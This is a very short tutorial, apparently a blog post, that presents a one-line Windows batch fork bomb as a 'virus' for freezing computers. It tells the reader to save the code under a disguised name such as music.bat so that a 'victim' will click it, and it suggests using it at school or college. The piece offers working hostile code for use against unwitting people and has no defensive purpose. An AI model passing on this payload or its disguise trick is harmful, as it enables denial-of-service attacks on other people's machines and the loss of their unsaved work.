Create a virus to make the computer freezed using Batch Programming Now i am going to give you simple and only one line Batch code. Special about this virus is that easy to remember the code. So it will be useful to use in college or school. Open a notepad. copy this code to notepad: " %0|%0 " Save the file with .bat extension(For eg: music.bat) That's all once your victim clicked this file,the CPU will be overloaded. Don't worry it will be come to normal operation after restarting.